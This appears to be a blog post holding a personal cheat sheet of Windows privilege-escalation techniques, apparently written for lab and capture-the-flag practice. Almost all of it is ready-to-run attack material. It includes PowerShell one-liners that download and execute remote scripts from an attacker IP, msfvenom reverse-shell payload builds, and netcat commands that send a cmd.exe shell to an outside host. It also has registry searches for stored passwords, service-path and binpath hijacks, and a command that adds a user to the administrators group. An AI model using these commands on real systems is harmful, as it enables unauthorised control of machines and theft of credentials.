Windows Privilege Escalation Jutsus
Introduction
This is a list of Windows Privilege Escalation jutsus I am collecting. Most originated from TCM's Windows Priv Esc course.
1. winPEAS.exe
Link: winPEAS github
2. PowerUp.ps1
- echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.26/PowerUp.ps1') | powershell -noprofile -
- ^ at the end of PowerUp.ps1 add the Invoke-AllChecks
3. Sherlock.ps1
- echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.26/Sherlock.ps1') | powershell -noprofile -
- ^ at the end of Sherlock.ps1 add Find-AllVulns
- Note: It takes awhile.
3.5. windows_local_suggester.py
- https://github.com/AonCyberLabs/Windows-Exploit-Suggester
- python windows-exploit-suggester.py --update
- python windows-exploit-suggester.py --database 2014-06-06-mssb.xlsx --systeminfo win7sp1-systeminfo.txt
3.6 Looting for Passwords
Detection
- PayLoadAllTheThings Passwords EoF
- reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\winlogon"
- reg query HKLM /f password /t REG_SZ /s
- reg query HKCU /f password /t REG_SZ /s
- Check unattend.xml files
- See if SAM or SYSTEM file exists. winPEAS.
4.0 Kernel Exploits
Seclist Windows Kernel Exploits https://github.com/SecWiki/windows-kernel-exploits
4. Chimichurri MS10-059
Link: chim.exe github
4.1 ClientCopyImage Win32k MS15-051
Link: Only use ZIP: ms15-051x64.exe
4.2 Windows 8.1 x64 RGNOBJ Integer Overflow MS16-098
Link: Binary up above.
4.3 Churrasco.exe WebDav
Link: churrasco.exe
Link: SHELL
7. Hot Potato
Detection
Look for SEAssignPrimaryToken or SEImpersonateToken. I have also seen it work without these displaying after whoami /priv. Try this if your running out of ideas.
potato.exe Instructions
- msfvenom -p windows/shell_reverse_tcp LHOST=10.2.43.23 LPORT=4444 -f exe > shell.exe
- Potato.exe is here: Potato
- potato.exe -ip 10.10.80.141 -cmd "C:\Users\user\Desktop\shell.exe" -enable_httpserver true -enable_defender true -enable_spoof true -enable_exhaust true
- The -ip should be the victims IP. Not yours.
Tater.ps1 Instructions
- Link to Tater Powershell: https://github.com/Kevin-Robertson/Tater. Github good too.
- The command up above is valid.
- powershell -ep bypass
- . .\Tater.ps1
- Invoke-Tater -Trigger 1 -Command "C:\Users\user\Desktop\nc.exe 10.2.43.23 4444 -e cmd.exe"
PrintSpoofer.exe
- Download PrintSpoofer here: Print Potato
- PrintSpoofer.exe -i -c "C:\Users\user\Desktop\shell.exe"
JuicyPotato.exe
- C:\Users\Administrator\.jenkins\nc.exe 10.10.14.26 53 -e C:\Windows\System32\cmd.exe --- make a bat file.
- C:\Windows\>JuicyPotato.exe -l 1337 -p C:\Users\Administrator\.jenkins\go.bat -t * -c {69AD4AEE-51BE-439b-A92C-86AE490E8B30}
RoguePotato.exe
Hasn't worked for me. But if desperate: Rogue Potato
8. RunAs
Detection and Exploitation
cmdkey Defintion: Creates, lists, and deletes stored user names and passwords or credentials.
- cmdkey /list
- C:\Windows\System32\runas.exe /user:ACCESS\Administrator /savecred "C:\Windows\System32\cmd.exe /c TYPE C:\Users\Administrator\Desktop\root.txt > C:\Users\security\root.txt"
--- OR ---
- cmdkey /list
- msfvenom -p windows/shell_reverse_tcp lhost=10.10.14.18 lport=4444 exitfunc=thread -f exe -o shell.exe
- C:\Windows\System32\runas.exe /user:ACCESS\Administrator /savecred "shell.exe"
9. Always Install Elevated
Detection - 2 Options
Option 1 - PowerUp
- powershell -ep bypass
- . .\PowerUp.ps1
- Invoke-AllChecks
Option 2 - Reg Queries
- Open command prompt and type: reg query HKLM\Software\Policies\Microsoft\Windows\Installer
- From the output, notice that “AlwaysInstallElevated” value is 1.
- In command prompt type: reg query HKCU\Software\Policies\Microsoft\Windows\Installer
- From the output, notice that “AlwaysInstallElevated” value is 1.
Exploitation
- Run the Write-UserAddMSI in PowerUp
- msfvenom -p windows/shell_reverse_tcp lhost=10.2.43.23 lport=4444 exitfunc=thread -f msi -o shell.msi
10. Regsvc ACL
Detection
- powershell -ep bypass
- Get-Acl -Path hklm:\System\CurrentControlSet\services\regsvc | fl
- See if the output suggests that user belong to “NT AUTHORITY\INTERACTIVE” has “FullContol” permission over the registry key.
Exploitation
- sudo apt install gcc-mingw-w64
- windows_service.c <- Edit file
- x86_64-w64-mingw32-gcc windows_service.c -o x.exe
- Place x.exe in C:\Temp
- Open command prompt at type: reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d c:\temp\x.exe /f
- In the command prompt type: sc start regsvc
- It is possible to confirm that the user was added to the local administrators group by typing the following in the command prompt: net localgroup administrators
11. Executable Files
Detection
- powershell -ep bypass
- . .\PowerUp.ps1
- OR accesschk64.exe -wvu "C:\Program Files\File Permissions Service"
- Notice that the “Everyone” user group has “FILE_ALL_ACCESS” permission on the filepermservice.exe file
Exploitation
- x.exe can be a msfvenom generated reverse shell or the x.exe from windows_service.c
- Open command prompt and type: copy /y c:\Temp\x.exe "c:\Program Files\File Permissions Service\filepermservice.exe"
- In command prompt type: sc start filepermsvc
12. Escalation via Binary Paths (binPath)
- powershell -ep bypass
- . .\PowerUp.ps1
- Invoke-AllChecks
- accesschk64.exe -uwcv Everyone * <- checks entire machine
- accesschk64.exe -wuvc daclsvc
- Notice that the output suggests that the user “User-PC\User” has the “SERVICE_CHANGE_CONFIG” permission.
Exploitation
- sc qc daclsvc <-- see the current binary path
- sc config daclsvc binpath= "net localgroup administrators user /add"
- sc start daclsvc
- Note: expect an error. Still should work.
- OR sc config UsoSvc binpath="C:\Reports\nc.exe 10.10.14.26 5555 -e cmd.exe"
13. Unquoted Service Paths
- powershell -ep bypass
- . .\PowerUp.ps1
- Invoke-AllChecks
Exploitation
- Rules: Must be unquoted binary path AND have a space in the name.
- msfvenom -p windows/shell_reverse_tcp LHOST=10.2.43.23 LPORT=4444 -f exe > common.exe
- Place common.exe in the C:\Program Files\Unquoted Path Service\Common Files folder.
- sc start unquotedsvc
14. CVE-2019-1388 (Internet Certificate)
https://www.youtube.com/watch?v=3BQKpPNlTSo
https://github.com/jas502n/CVE-2019-1388
15. DLL Hijacking
Detection
- SysInternals -> Process Monitor -> Procmon (Admin only)
- Filter by RESULT is NAME NOT FOUND
- Filter by PATH ends with .dll
- Note: Might get info on this in winPEAS or PowerUp. Can't use procmon obviously.
Exploitation
- Get windows_dll.c here: windows_dll.c github.
- x86_64-w64-mingw32-gcc windows_dll.c -shared -o hijackme.dll
- sc stop dllsvc
- sc start dllsvc
16. Scheduled Tasks
Detection
- Note: Very hard to find out. You'll have to discover a script.
- schtasks /query /fo LIST /v
- accesschk64.exe -quv user CleanUp.ps1
49. WSL Windows Subsystem for Linux
Detection
- where /R c:\windows bash.exe
- where /R c:\windows wsl.exe
- Get into bash and do a history. Look around
- PayLoadAllTheThings WSL
50. Startup Application
Detection
- Open command prompt and type: icacls.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"
- From the output notice that the “BUILTIN\Users” group has full access ‘(F)’ to the directory.
Exploitation
- msfvenom -p windows/shell_reverse_tcp LHOST=10.2.43.23 LPORT=4444 -f exe > x.exe
- Place x.exe in “C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup”.
- (mv x.exe C:\.... ) ^ Logoff.
- Login with the administrator account credentials.
I don't want to be backed into a corner so I have many jutsus :). The numbers relate to significance. Higher Number = I use it more often. Some techniques are out of order tho.
Comments
Post a Comment